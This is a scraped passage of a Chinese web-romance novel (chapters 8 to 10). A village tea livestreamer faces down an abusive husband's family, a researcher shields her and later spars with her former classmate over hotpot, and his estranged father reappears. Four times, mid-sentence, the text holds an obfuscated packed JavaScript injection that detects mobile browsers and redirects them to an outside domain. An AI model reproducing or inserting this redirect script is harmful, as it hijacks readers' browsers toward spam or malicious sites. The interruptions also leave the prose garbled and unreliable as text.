陶风没吱声，一心捧着平板看资料，把妈妈和妹妹视作空气。 “不过，”陶浔突然凑近，声音压得低低的：“你可得抓紧，夏绵姐长得漂亮不说人还聪明能干，重点是，她的年龄比你小，网络上喜欢她的人不计其数。都说“男人三十豆腐渣”，你的优势估计只有这张不显年纪的俊俏脸蛋了。” 不知道是哪句话戳到了陶风的心窝，他放下平板，几次欲言又止。 安顿好妈妈和妹妹的住处，陶风回到房间，他从背包里翻出一本硬壳笔记本。 这本来是用作记实验数据的笔记，现在，它的后半本都写着一堆零碎的话。 【她叫夏绵。茶门信徒的主播。】 【第一次和不是家人的异性在微信上聊天。】 【小浔总说她的偶像不上相，真人比手机里更好看。夏绵也是如此。】 【那群没脑子的网友是不是耳聋？夏绵可以告他们名誉侵权。】 【番茄牛腩里要不要加香菜？怕她不爱吃。】 他盯着这几行字看了很久，突然发现，自己记在笔记里的实验数据越来越少，关于夏绵的碎碎念却越来越多。 不知从什么时候起，他的世界早已经围绕着那个叫夏绵的中心运转起来。 * 夏夜的晚风清凉温柔，月色笼罩着整座东岚山，青山轮廓在银辉的照耀下显得温和起来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084730|179524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 邱澜正核对最后一笔账。 “今天的收入扣除成本，还剩七万八千块。”她把账本推给夏绵，手指在“邱澜”那栏的“三千元”上画了个圈，“你真给我这么多？我才刚来，今天什么忙也没帮。” “拿着。”夏绵把数好的钱塞进她手里，“你管账比邱书记靠谱，这是你该得的。还有，果果的幼儿园我问好了，等秋天开学就能去，学费我先垫着，就从你工资里扣。” 邱澜的眼圈立马就红了：“阿绵，我真不知道该怎么谢谢你……” “别跟我哭啊，我以后还怎么好意思指使你干活？”夏绵笑着拍她的背，“等咱东岚山的茶园名气大了，我就请个专职会计，你当财务主管，到时候让你妈也来帮忙打包，你们一家人整整齐齐地挣钱。” 邱澜点头，脸上露出一个满是希冀的笑容：“咱们靠自己的努力一定能过上好日子。” 把钱放好后，邱澜想起刚刚饭桌上陶风异样的脸色，问：“你跟那个陶老师……真没什么？” 夏绵笑出声：“你和那些爱八卦的老头老太太们想什么呢？人家是博士，来咱村里搞茶树研究的，我跟他就是工作关系。” “可他给你送午饭啊。”邱澜眨眨眼，“而且我发现，他好像总围着你转。” “你看他那样，哪像会谈恋爱的？再说了，我现在没空想这些情情爱爱。” 夏绵指着账本上的数字，“这个月的订单能再破两百，我就找建筑队给村里修条路，账号粉丝涨到十万，就建个正儿八经的民宿，等这些基础设施建好，咱村也搞搞文化旅游，赚钱的门路多起来，老人们就不愁没收入。” 脱贫致富的计划有很多，夏绵刚想和邱澜再说点什么，院门外突然传来杂乱的脚步声。 邱澜的妈妈薛梅抱着果果跑进来，裤腿还沾着泥。 “澜澜，你快躲躲，王家人来闹事了！” “他们找到家里去了？” 薛梅手撑着门框，脸色铁青：“王家那老不死的，带着五六个人堵在咱家门口，嚷嚷着说，如果你不回去给王家生二胎，他们就把咱村的茶园烧了！” 邱澜的脸瞬间没了血色，也不知道是气得还是怕得，她抱着果果的那只手开始止不住地发抖，嘴唇哆嗦着说不出话， 夏绵见状，赶紧把她们往屋里推：“你们先进屋，我过去去看看。” 她抓起墙角的铁锹，还把姥姥的爱犬阿黄牵了出来，一人一狗冲向了邱澜家。 邱澜家的院门外已经围了几个看热闹的村民，几个言行粗鲁的男人正往院里闯，为首的老汉叉着腰，骂骂咧咧：“邱澜你个不下蛋的鸡！赶紧跟我们回去！生不出儿子还敢跑回娘家，真当我们老王家好欺负？” 夏绵跑过去，铁锹往地上一插，对那个嚣张的老汉喊话： “我看谁敢动邱澜一下。” 几个男人回头，见是个不认识的女孩，便摆手道：“你个小丫头片子少管闲事！这是我们王家的家事！” “家事？”夏绵往前迈了一步，“你儿子家暴是家事？你逼着儿媳妇生二胎是家事？你带人私闯民宅、危害东岚村的安宁是家事？我告诉你们，现在是法治社会，你们再敢往邱澜家走一步，我就立刻报警，顺便把你们家那点龌龊事捅到网上去，让天南地北的人都看看你们是怎么纵容儿子家暴还合起伙儿来欺辱儿媳妇的！” 8. 第八章 第八章 对面人多势众，而且还都是力气比自己大的男人，夏绵说不害怕那是假的。 阿黄身经百战，它看得出来对面那群凶神恶煞的两脚兽是小主人的对手，耷拉着尾巴用爪子刨地，露出尖锐的獠牙冲他们嚎叫。 两方对峙的局面就在阿黄一声又一声的嘶吼声中展开。 周围看热闹的村民也顺势炸开了锅。 “澜丫头的婆家也太不是东西了！不仅打人还逼生儿子！” “小绵说得对！现在是法治社会，哪能这么欺负人！” “丫头别怕，有我们这些老骨头在，他们不敢来闹！” 张阿婆拄着拐杖往前面一站，对着王家人啐了一口唾沫：“一群老不要脸的，欺负到咱东岚村头上了！” 旁边几个拿着家伙使的老茶农也扯着嗓子骂起来，你一言我一语，把王家人骂得抬不起头。 邱澜的公公王老汉被村民们瞪得缩了缩脖子，手一挥，带着人灰溜溜地走了。 夏绵看着他们离开的背影，心里十分清楚，这只是暂时的胜利，按照邱澜所说，王家人那睚眦必报的德性，绝不会善罢甘休。 邱澜抱着果果急匆匆跑过来，见夏绵安然无恙，才安心地松了口气。 夏绵和王阿公他们商量着必须要找个靠谱的律师，把邱澜的事一次性解决干净。 张阿婆提醒道：“找律师得有个中间人介绍着才靠谱。” 闻言，夏绵掏出手机就给陶风打了过去。 电话响了两声就被接起，陶风的声音带着刚睡醒的沙哑，但却依旧清晰：“夏绵？” “陶老师，你有认识的律师吗？专门打离婚官司的那种。” “嗯？”陶风有些懵。 “我姐妹邱澜，她被丈夫家暴，想离婚离不了。” 手机那头的陶风沉默了几秒，随即传来窸窸窣窣的响动，像是在翻找东西，陶风的声音也变得格外认真：“我有一个开律师所的朋友，他姓何，我把他微信推给你，你就说是我朋友就行。 “太感谢你了。”夏绵刚想挂电话，又听见他补充了一句：“如果你和你朋友有需要帮助的地方，随时给我打电话，不要嫌麻烦。” 夏绵心里一暖，轻声道：“知道了，陶老师。” 挂掉电话，点开陶风发来的微信名片，何律师很快通过了微信好友申请。 夏绵又把何律师的微信推给了邱澜，让邱澜把情况都详细地告诉对方。 第二天一早，天空飘起了蒙蒙细雨，夏绵刚吃完早饭就听见了外面的敲门声。 她披了件外套出去一看，见陶风正站在院门外。 他今天穿了件浅灰色的棉质衬衫，领口系得整整齐齐，下身是条深色的休闲裤，裤脚随意地堆在帆布鞋上，少了几分平日里的严肃，多了些清爽利落。 “陶老师，早上好。”夏绵边开门边问好。 陶风微微颔首，炽热的目光悄无声息地落在了夏绵身上。 “我整理了些资料，你朋友或许能用得上。” 夏绵接过文件袋，好奇地打开看见里面的纸页整理得干干净净，每一页上都有用红笔标注的重点，甚至还有一页的标题是《如何引导对方承认家暴话术建议》，就连这样的微小细节都写进去了。 “你整理得也太细致了。”夏绵问：“你以前经常帮人处理这种事？” “我以前做过法庭旁听，我朋友带我去的。”陶风的声音很轻，见她很是满意自己的资料，心里也觉得开心。 “走吧，带我去你朋友家。” 两人并肩往邱澜家走，路上遇到几个早起采茶的村民，都笑着跟他俩打招呼。 刚走到邱澜家门口，就听见里面传来激烈的争执声。 夏绵推开门，一个穿黑色T恤的男人正死死拉着邱澜的胳膊，果果吓得躲在薛梅身后，小脸哭得皱巴巴的。 “澜澜，跟我回去吧，我知道错了。” 男人的声音放得格外温柔，眼底却是瘆人的狠厉，“你看果果都想爸爸了，咱回家好好过日子，我王旭发誓，以后一定对你好。” “你放开我！”邱澜用力挣扎着，手腕上已经留下了一圈触目惊心的红印。 “我跟你过不下去了！你拿皮带打我的时候怎么没想过好好过日子？” “我那是一时冲动！”王旭的声音陡然拔高，脸上的温柔瞬间消失，“我辛辛苦苦在外挣钱养家，你倒好，跑回娘家当闲散贵人，你还敢提离婚？你对得起我和果果吗？” 夏绵刚想上前制止，陶风已经先她一步，挡在她的面前。 “放手。” 王旭转头看见他们，眼神瞬间变得凶狠，“你们是谁？少管老子！” 夏绵走到邱澜身前，把她护在身后，“我是她的老板，她是我的员工！你作为一个丈夫，既出轨又家暴，你这个烂到泥里的极品渣男有什么资格要求自己的妻子回家！” “你个外人插什么嘴！”王旭恼羞成怒，脸都涨成了猪肝色，他猛地甩开邱澜的手，顺手抄起墙角的棍子就往夏绵身上砸，“小娘们我看你是找死！” 夏绵秀眉紧蹙，只觉得眼前一晃，陶风已经侧身挡在了她身前，紧接着，“咚”的一声闷响，棍子结结实实地砸在了他的肩膀上。 “陶风！” 陶风闷哼一声，左肩下意识地缩了缩，然后反手抓住了王旭的手腕，用力一拧，王旭疼得大声求饶，棍子“哐当”一声掉在地上。 不甘落败的王旭还想再扑上来，却被冲进来的村民们死死按住。 “反了天了！光天化日之下敢来我东岚村打人！”邱书记带着几个大伯冲进来，一把夺过王旭手里的棍子，“你如果再敢闹事，我们就直接把你送到派出所去喝茶！” 被村民们推搡着往外走的王旭，还在不依不饶地放狠话：“邱澜你给我等着！我不会放过你的！” 果果的哭声越来越响，薛梅抱着孩子去了里屋，夏绵和邱澜扶着被打的陶风站起来。 陶风的左肩明显有些不自然，衬衫的布料被打得有些皱，能隐约看到红肿的形状。 “我带你去医院。” “不用，小伤而已。” 陶风想站直双腿，却因为牵动了肩膀，疼得他一个趔趄，额头上的冷汗一下子冒了出来。 “必须去！”夏绵不由分说，拽着他的胳膊就往村口走，邱田跑得飞快，提前帮他俩拦住了去镇上的公交车。 车里空荡荡的，除了夏绵和陶风，就只有一个打盹的老大爷。 夏绵让陶风靠在椅背上，特意让他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084731|179524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 左肩靠着车窗，这个姿势舒服一些，而她自己坐在旁边的座位上。 山路颠簸得厉害，她昨晚没睡好，加上刚才又受了惊吓，没多久就觉得眼皮发沉，脑袋一歪，靠在陶风的右肩上睡着了。 陶风整个人瞬间僵住。 夏绵呼吸的气息轻轻落在他的衬衫上，温热又轻柔。 受伤的左肩还在隐隐作痛，但这抹疼痛却被当下夏绵这突如其来的亲近盖了过去。 陶风小心翼翼地侧过头，俯视的角度能清楚地看到她睡着的样子。 夏绵的发丝很软，还带着淡淡的茶青香。她的皮肤是那种透着光泽的白皙，脸颊因为刚睡着有点淡淡的粉，樱唇饱满得像陶浔爱吃的那款软糖。 他忍不住放轻了呼吸，生怕惊扰了这份难得的宁静，甚至悄悄调整了一下姿势，让夏绵靠得更舒服些。 * 到了镇上的医院，医生掀开陶风的衬衫，看到左肩那片红肿的淤青，忍不住啧了两声：“还好没伤到骨头，就是软组织挫伤，擦点活血化瘀的药膏就行，一天擦两次，肩膀别沾水。” “真的不用拍片子看看吗？”夏绵追着医生问，“会不会有什么隐性的伤害？” 医生被紧张兮兮地夏绵逗笑了：“小姑娘，我理解你担心男朋友，不过他真没事。这药膏效果好，擦三天就能好一大半。” “男朋友”三个字听得夏绵的心尖直发烫，她没否认也没承认，低头拿医生开好的单子。 陶风看着她泛红的耳朵，眼里闪过一丝不易察觉的笑意。 走出医院大门的时候，陶风迎面撞上一个穿白大褂的男人。 那人看到夏绵，眼睛一下子亮了：“夏绵？真的是你！我还以为看错了呢！” “林望？”夏绵也笑了，语气里满是惊喜，“你怎么回镇上工作了？” “这边缺人，我是过来帮他们忙的。” 林望笑着拍了拍她的胳膊，“你呢？什么时候回来的？你变化挺大的，我差点没认出来。” “回来大半年了。”夏绵说着，侧身指了指陶风，“这是陶风，下乡来勘察茶树的专家。”又转向陶风，“这是林望，我高中同学。” 林望的目光落在陶风身上，嘴角的笑容依旧温和：“你好，我是林望。” “陶风。”陶风伸出右手，语气平淡，眼神却和林望探究的目光在空中无声地交汇，带着一丝不易察觉的张力。 “对了，”林望像想起什么似的，看着夏绵说，“医院旁边新开了家川渝火锅店，味道特别正宗，我记得你不是最爱吃火锅吗？咱们好不容易见着一次，我请你去尝尝？” 夏绵闻言，下意识地咽了下口水，身体微微往前倾了倾：“我确实好久没吃火锅了。”顿了顿，转头看向陶风，问：“陶老师有空和我一起去吃吗？” 陶风清楚地察觉出夏绵语气里的雀跃和期待，也能察觉到林望看向夏绵时，眼里那毫不掩饰的欣赏和喜欢。 他的心里像被什么东西堵住了，闷闷的，不舒服。 “有空，我们一起去吧。” 听到陶风也去，林望脸上的笑容僵了一下，很快又恢复了自然，脸上堆着笑：“那太好了，中午十一点半，我在火锅店门口等你们！” “好。”夏绵愉快地答应。 9. 第九章 第九章 距离十一点半还有两个小时的时间，夏绵提议说去商业街逛一逛，向来听她话的陶风自然答应。 阳光穿过梧桐树的枝丫在地上投下斑驳陆离的光影，两人的影子时而交叠时而分开，微风吹过，留下一阵淡淡的栀子花香。 走了没一会儿，陶风问夏绵：“你跟林望认识很多年了？” “嗯，我俩是高中同学，他以前就坐我后桌。”夏绵说：“那时候他特别欠揍，总是把我扎头发的皮筋扯下来丢窗户外面，我气不过，就把他的数学作业本扔垃圾桶里，结果被班主任逮个正着，大冬天的我俩在教室外面罚站，现在回忆起来都觉得好幼稚。” 陶风没再接话，心里想着原来林望和她有这么多共同的回忆。 那些他从未参与过的时光，被她轻描淡写地说出来，却字字都带着温度。 陶风莫名生出些涩意。 前面突然传来“噼里啪啦”的鞭炮声，一家时装店门口挂着“新店开业”的横幅，彩带飘了满地。 “新店开业，我们进去看看吧？” “好。” 夏绵带着陶风走进店里，店里的导购员阿姨立刻迎上来：“两位想看点什么？男装在这边，新款西装和休闲装都刚到，这位先生身材这么好，穿我们家的衣服肯定更好看。” 夏绵的目光落在一件浅灰色的休闲西装上，转头对陶风说：“你这段时间帮了我这么多，今天早上还因为我伤到了肩膀，我送你身新衣服当谢礼吧！” “你不用破费，”陶风微微讶异，“我衣服够穿。” “放心，我可是有小金库的。”夏绵掏出手机，点开直播后台的收益截图给他看，“上个月赚的够买好几套衣服了，陶老师，你就别跟我客气了。” 导购员在旁边帮腔：“小姐你真有眼光！我们店里的西装都是进口面料，版型特别正，而且今天开业有活动，在本店购物的情侣合拍一张比心照挂在爱心墙上，能领一套情侣钥匙扣，钥匙扣是我们老板女儿设计的，特别可爱！” “我们不是……”夏绵刚想解释她跟陶风不是恋人关系，抬眼就看见另一位导购把钥匙扣展示了出来，钥匙扣都是卡通形象的小动物，夏绵这个萌宠控一下子就迷住了。 陶风看见夏绵眼里对钥匙扣的期待，到了嘴边的话又咽了回去。 导购员把他们领到贴着粉色爱心的背景墙前，举着手机说：“来，小两口靠近点，一起比个心！” 陶风愣住了，手在身侧僵着，不知道该往哪儿放，夏绵扭头看他，一脸不可思议：“你该不会不知道怎么比心吧？” 他十分诚实地点了点头。 夏绵不由得默默感叹，像陶老师这样与时代脱轨的“年轻古董”真乃世间少有。 感叹完毕，夏绵笑着握住他的右手，把他的食指和中指轻轻弯成心形，“就这样，对，再靠近点，肩膀轻轻碰到一起就行。” 两人的肩膀刚贴上，手机快门就“咔嚓”响了一声。 导购员把钥匙扣塞进他们手里：“俊男靓女真般配！” 夏绵接过三花猫钥匙扣，又拿起大金毛犬的那个递给了陶风：“这个给你，大金毛很配你！” 陶风接过钥匙扣攥在手心，金属的凉意透过皮肤传进来，他心里却觉得暖暖的。 夏绵问导购员：“你们这儿能定制西装吗？我想给他做套合身的。” “当然可以。”导购员拿来软尺，“我们有合作的老裁缝，量好尺寸一周之内就能做好，保证合身。” 夏绵看着导购员给陶风量尺寸，软尺绕着他的肩宽、胸围、腰围和腿长转了一圈，导购员报出的数字让她忍不住垂涎三尺。 陶老师果然是穿衣显瘦、脱衣有肉的高阶帅哥哇！ 她突然想起之前在网上看到的照片，那是陶风受邀参加的一个集团晚宴，他穿一身黑色西装，领口系着深蓝色领带，正跟几位头发花白的老教授碰杯，眉宇间的禁欲感和高智感扑面而来，她差点把那张照片设成和陶风微信聊天的背景图。 离开服装店时，陶风手里都多了个印着店名的购物袋，里面装着定制西装的订单。 夏绵走在前面，嘴里哼着当下最流行的外文歌，陶风跟在后面，望着夏绵背影的眼睛里满含爱意。 夏绵突然想起什么，放慢脚步等陶风跟上来。 “BLACKPINK里你喜欢谁？” 陶风：“Black。” 夏绵：“……” 到火锅店时，林望已经等在门口，他穿着件休闲服，看见走过来的夏绵就笑着挥手：“我预约了里面靠窗的位置，视野好，能看见街景。” 林望故意忽略了夏绵身边的陶风，而陶风也丝毫不在意林望这失礼的举动。 于是，陶风和林望的饭桌之战，悄无声息地开始了。 三人走进火锅店，一股浓郁的麻辣香味扑面而来。 服务员把菜单递给他们，林望翻到麻辣牛肉那一页：“每次吃火锅你不是必点麻辣牛肉吗？这次怎么不点?” “陶风身上有伤，吃不了辣。”夏绵指了指其他菜肴，“今天点些清淡的吧。” 听夏绵这么说，林望脸上的笑淡了些，他翻到另一页：“那点酱香牛肉？这个不辣还入味，炖得特别烂，很适合他吃。” “你想吃什么就点什么。”陶风突然开口，目光落在夏绵脸上，语气非常认真，“不用特意迁就我，我吃清汤锅就行。” “不如选选鸳鸯锅吧。”林望立刻接话，语气有些得意，“我跟夏绵吃辣锅，你吃清汤的，这样谁都不耽误，多好。” 夏绵没多想，点头同意：“那就点鸳鸯锅吧，这样大家吃得都痛快。” 陶风没说话，拿起服务员刚端来的冰镇柠檬水喝了一口，杯壁上的水珠滑下来，顺着他洁白修长的手指滴落在桌布上。 第一战，林望胜利。 菜很快上齐了，红白相间的鸳鸯锅咕嘟咕嘟冒着泡，辣锅那边飘着红油和辣椒，清汤锅这边浮着枸杞和红枣。林望夹了一筷子毛肚放进辣锅，七上八下地涮了几秒，捞出来接着放进夏绵碗里：“熟了，毛肚就得趁脆的时候吃。” 夏绵咬着毛肚，又夹了片刚煮好的嫩牛肉放进陶风碗里：“这个在清汤锅煮了好久，肯定烂了，你尝尝。” 陶风也捞了一勺肉放进她碗里：“你试试这个鲜羊肉。” 两人一来二去地夹菜，林望全看在眼里，他自己给自己夹了块肉，边吃边问：“你们俩认识多久了？关系好像不错。” 夏绵刚要开口说“我们是朋友”，陶风已经先一步回答：“我们的关系是不错。” 林望的筷子顿了顿，发觉到陶风潜藏的心思后，开始说起和夏绵有关的往事。 “我下班的时候碰到了急诊科的郎大夫，夏绵你还记得吗？你高三模考前一天发烧到三十八度，我偷了教导主任的小电驴带你去医院，当时给你看病的就是他。” “记得记得！”夏绵刚吃了口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084732|179524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麻辣牛肉，嘴唇有些发麻，“那天雨下得特别大，咱俩都淋成了落汤鸡。” 林望笑了：“原来你记得这么清楚啊，大学毕业后，咱俩虽然都在屿城市里工作，但你在城南，我在城北，平时根本见不着面，我以为你会把我这个护花使者忘得一干二净。” “老同学都这样。”陶风吃了口夏绵夹给的鸭肠，语气平平淡淡，“以前玩得再好，长大了也会各忙各的，不记得谁很正常。” 林望扫了陶风一眼，嘴角不屑地勾起。 “咳咳！” 夏绵被花椒呛得一阵咳嗽，慌忙找水喝。 林望连忙拿起手边的水壶往她杯子里倒，陶风却已经把一杯白水推在她面前。 “先喝我的。”两人同时开口。 夏绵没多想，就近拿起陶风那杯，咕咚咕咚灌了一大半才缓过来。 陶风把空杯推给林望，挑眉一笑：“麻烦给我倒杯水。” 林望接过杯子，薄唇紧抿，手指用力捏了捏杯壁。 第二战，陶风胜利。 林望突然“哎呀”一声，倒满水的杯子从他手里滑落在地上。 “没事吧？”夏绵赶紧起身查看情况，还抽了几张纸巾递给他，“小心点，别烫着了。” “我没想到水会这么热，真是大意了。” 林望故意看着陶风说这句话，好像意外发生的原因是陶风要他帮忙倒水。 他的小心思，陶风当然看得穿。 陶风假装关心地问：“你还好吧？”刚一起身，他就捂住左肩，眉头皱紧，声音也变得微弱：“啊……” “别动别动！”夏绵立刻转头去扶陶风：“是不是扯到肩膀了？你坐着别动，想吃什么我给你夹。” 失去夏绵关注的林望，不甘心地看了一眼故作柔弱的陶风，好像在说“算你厉害”。 第三战，陶风胜利。 夏绵去洗手间，饭桌上只剩下陶风和林望。 林望仰靠在椅背上，眼睛盯着陶风，嘴角扯出一抹冷笑：“陶老师不愧是研究茶的专家，行为举止都带着绿茶的芳香。” 陶风垂眸一笑：“谢谢夸奖。”随后抬眸，清润的眼睛轻轻一眨，显得天真又无害，然而说出的话却能气死人： “菜单上的招牌甜品，“水中捞月”很适合你，林先生可一定要好好尝尝。” 林望拿水杯的手顿然一抖，他拧眉嗤了声，视线落到从洗手间回来的夏绵身上。 * 午餐结束，三人站在火锅店门口分别。 “下周我轮休，准备带着弟弟去东岚村帮你卖茶，正好我也想尝尝你们那儿的好茶。” “随时欢迎啊。”夏绵笑着挥手。 等公交车时，夏绵翻着手机相册，嘴里念念有词：“今天拍了不少素材，可以剪进下期的视频里，粉丝肯定喜欢看。” 她举起手机对准陶风，“给你也拍一张？你的粉丝天天在评论区喊我要多拍拍你。” 陶风抬手挡脸：“别，我不好看。” “怎么不好看？”夏绵绕到他前面，举着手机对准他，“就一张，很快的。” 陶风刚想躲，口袋里的手机突然响了，夏绵找准机会拍了张陶风低头看手机的照片。 “小风，我有事要跟你讲。” 李媛的声音有些疲惫，和以前不太一样。 “你爸从美国回来了……他想见你。” 陶风紧紧握着手机，脸色是前所未有的阴沉。 10. 第十章 第十章 公交车颠簸着驶进东岚村，车轮缓缓碾过村口的石子路，发出“咯吱咯吱”的声响。 夏绵把陶风送到旅馆门口，看着他面色阴郁地和自己说完再见后转身走进那扇褪色了的木门，他的背影被夕阳的残影拉得很长，有种说不出来的落寞。 夏绵回到家时，放在石桌上的手机“叮咚”响个不停，直播后台显示有一百多条未读留言。 她赶紧洗了把脸，对着院里的梳妆镜理了理头发，然后才点开直播按钮。 镜头里的她扎着简单的高马尾，额前沾了水的碎发贴在脸颊上，显得原本就漂亮的脸蛋更加清丽。 “我刚从镇上回来，今天咱不炒茶，带大家看看东岚村的晚霞，这会儿的风景特别好看。” 夏绵举着手机走到院外，镜头扫过层层叠叠的茶垄，夕阳把茶叶的边角染成闪着光的金红色，远处的炊烟在暮色里袅袅升起，这幅治愈又美好的乡村画面吸引了无数观众留言，弹幕瞬间刷了起来： 【好想来东岚村住上几天放松放松心情。】 【陶老师呢？怎么没在镜头里？】 【主播刚刚上传的视频我看了好几遍！陶老师低头看手机的样子也太帅了，简直是小说男主照进现实！】 【+1，陶老师的身材和脸蛋堪称一绝！求小夏多更点陶老师的下乡日常！】 夏绵把镜头往上移了移，傍晚时分的天空绚丽得像被泼了一桶五彩斑斓的颜料。 “陶老师家里有急事，他今天回市里了。” 【急事？什么急事？】 【话说，陶老师快三十岁了，他不会是被家里催婚了吧?！】 【楼上别乱猜，陶老师是个事业批，肯定是工作单位有急事他才回市里的。】 【小夏快看粉丝数！差一百就到十万了！】 夏绵低头看了眼屏幕右上角，粉丝数正在飞速跳动，从九万九千九百九十一迅速涨到九万九千九百九十九，最后定格在十万。 极速上涨的粉丝数让夏绵愣了几秒，意识到“茶门信徒”已经有了超十万粉丝，她兴奋地跳起来：“十万了！十万了！谢谢大家对东岚村的支持！今天抽三个粉丝连线，咱们随便聊一聊，你们想知道的我都尽量回答。” 连线申请瞬间排起长队，第一个接通的是个网名叫“夏夜晚风”的女生，女生举着一个手写的应援牌，上面画着两只卡通版小人，一只是扎着马尾的女孩，一只是戴眼镜的男孩，旁边写着“夏绵陶风锁死”。 看来是个磕夏绵和陶风的cp粉。 女生声音激动得发颤：“小夏！我从陶老师来东岚村报道那天就关注你了，你刚刚发的去镇上逛街的视频是不是就是你和陶老师约会拍的？那个比心照也太甜了！群里的姑娘们都笑疯了！” 约会？ 她和他今天的行为，在外人眼里是情侣约会吗？ 夏绵轻抿下唇，手心开始微微出汗。 “不是约会。陶老师从去过镇上，今天的天气很舒服适合出游，所以我就带他去镇上随便逛了逛。”夏绵解释着，她努力让语气听起来自然，“那个比心合照是店里的活动，拍完可以领小礼物。” “那陶老师做饭是不是特别好吃？”女生不依不饶，完全没被夏绵的回复打击到，眼睛亮晶晶的闪着光，她继续问：“你上次直播说他做的番茄牛腩很香，他经常给你做饭吗？” “他做饭确实挺好吃的。”夏绵想起那时陶风来给自己送饭的场景，嘴角忍不住上扬，可笑着笑着，心里又泛起一丝异样。 自己是从什么时候开始，对他格外注意的？ “你们平时的相处是不是很……合拍？”女生追问，说着说着就开始捂嘴笑，“我们觉得陶老师看你的眼神，跟看别人完全不一样，他看你的眼神，特别温柔。” 温柔？ 夏绵的心猛地一跳，她下意识想反驳，可直播间【+1！眼神骗不了人！】的弹幕刷得飞快，一字一句敲打着她心里努力维持的平静，让她忍不住回忆起今天早上陶风挡在自己面前，他替自己挨那一棍子的场景。 越想心越乱。 她清了清嗓子，假装整理镜头角度：“我们是好朋友。陶老师帮了东岚村很多忙，从茶树管理到水道更改，他都出了很多力，大家别乱猜喔，要不然我以后都不敢请他出镜了。” 话虽如此，夏绵的小心脏却莫名揪紧了一下。 连线下一位粉丝时，夏绵的心思明显不在状态，对方问她去东岚村采秋茶需要注意什么，她答了句“注意天凉”就卡壳了，还是旁边摘菜的邱云接过话，大声说了句“秋茶要留三叶，才不影响来年的春茶”，才算救了场。 直播结束时，已经是晚上七点多。 关了手机，夏绵发现手心全是汗，连带着攥在手里的梳子都湿了。 她像丢了魂似的坐在院门外的石阶上，晚风带着茶叶的清香拂过脸颊，屋里传来姥姥喊她吃饭的声音。 “和他只是朋友吗？”她抬头看天，对着天空喃喃自语。 如果只把他当作朋友，为什么会在意他的去向？为什么会记住他的一举一动？为什么听到别人问他们今天是不是在约会时，心里涌上来的情绪不是反感，而是隐隐的窃喜？ 夏绵独自陷入了迷茫里。 * 陶风坐在出租车后座，窗外的街景飞速倒退。 从陌生的乡间小路到熟悉的城市霓虹，不过三个小时的车程，却像跨越了两个世界。 手机里的短信还停留在李媛上午发的那条“你二叔家的表妹和表妹夫在希尔顿举行订婚仪式。那个人就在那儿等你。” 陶风烦躁地捏了捏眉心。 司机停在酒店大门门口，侍者早已等候在此。 来到酒店顶层，陶风找了个角落的沙发坐下，刚要给二叔发消息，一个穿着黑色西装的中年男人走了过来，他的身边还跟着一个穿橘红色连衣裙的年轻女人。 男人头发梳得一丝不苟，眼神凛冽，手腕上的名表在灯光下闪着冷光。 他就是陶风的父亲，陶野。 站在他旁边的女人一头深栗色卷发，红唇明艳，左眼眼角有颗褐色泪痣。 “小风，好久不见。” 陶野笑着打招呼，那声音带着商 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084733|179524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场上练就的圆滑，脸上虽然在笑，可眼里却没什么温度，他看陶风的眼神就像在审视一个合作对象。 见陶风不理自己，他也不恼，侧身介绍身边的女孩：“这是Anna，美籍华裔，从小在洛杉矶长大，她的父亲是我最信任的生意伙伴。” Anna伸出手，手指甲上涂着漂亮的紫丁香色指甲油，落落大方道：“陶风先生，久仰大名。陶叔经常提起你，听说你是国内顶尖的茶学专家？” Anna的中文带着轻微的口音，尾音有点卷，一听就知道她不常说中文。 陶风没握手，只是轻轻点了点头，目光转向陶野：“你找我有什么事？” Anna收回手，并不觉得尴尬，反而饶有兴致地靠在一旁的柱子上，看着他们父子说话。 “我弟弟的女儿订婚，我这个做大伯的不能不来。”陶野递过一杯香槟，“听说你在东岚村搞茶树研究？东岚比不上我们松萝老家富饶，你待得惯吗？” 陶风没接那杯香槟，手插在裤袋里，语速极快：“有事说事。” 周围有宾客投来好奇的目光，陶野脸上的笑容淡了些，往前凑了半步，压低声音：“我的公司需要你帮我打理，你和我一起去洛杉矶，电商这块现在正是风口，比你在农科院摆弄那些茶叶有前途。” 